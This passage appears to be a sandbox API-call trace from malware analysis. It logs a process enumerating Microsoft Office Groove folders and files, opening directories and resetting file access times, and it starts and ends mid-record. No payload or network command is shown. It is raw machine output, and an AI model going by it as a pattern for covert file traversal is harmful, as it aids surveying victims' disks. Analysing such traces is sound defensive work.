ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImages.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a3c500, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a3c500, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5203, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a5d00, ftCreationTime.dwHighDateTime=0x1ca032e, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe1a5d00, ftLastWriteTime.dwHighDateTime=0x1ca032e, nFileSizeHigh=0x0, nFileSizeLow=0x1238, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIcon.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIconMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16Images.jpg", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16ImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1963, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24Images.jpg", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24ImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SketchIconImages.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupicons.jpg", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupiconsmask.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOPICON.JPG", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="StopIconMask.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d554a00, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d554a00, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImages256Colors.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd49300, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd49300, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImagesMask256Colors.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5adf6ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2605, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImage.jpg", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae1d030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImageMask.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSignLogo.jpg", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bafc00, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90bafc00, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5431, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8862c100, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8862c100, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x1538, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1995, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImages16x16.jpg", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImagesMask16x16.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2308, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImages.jpg", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.585] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="")) returned 0 [0078.585] GetLastError () returned 0x12 [0078.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.585] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.586] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0078.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.588] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.588] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.588] NtClose (Handle=0x164) returned 0x0 [0078.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.588] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.588] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.588] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0078.588] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0078.588] GetLastError () returned 0x12 [0078.589] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0078.589] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.589] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.589] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0078.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xacb0a0 [0078.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.589] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0078.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.590] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0078.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.590] NtClose (Handle=0x164) returned 0x0 [0078.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb0a0) returned 1 [0078.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xacb0a0 [0078.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xacb1a8 [0078.590] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="")) returned 1 [0078.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: 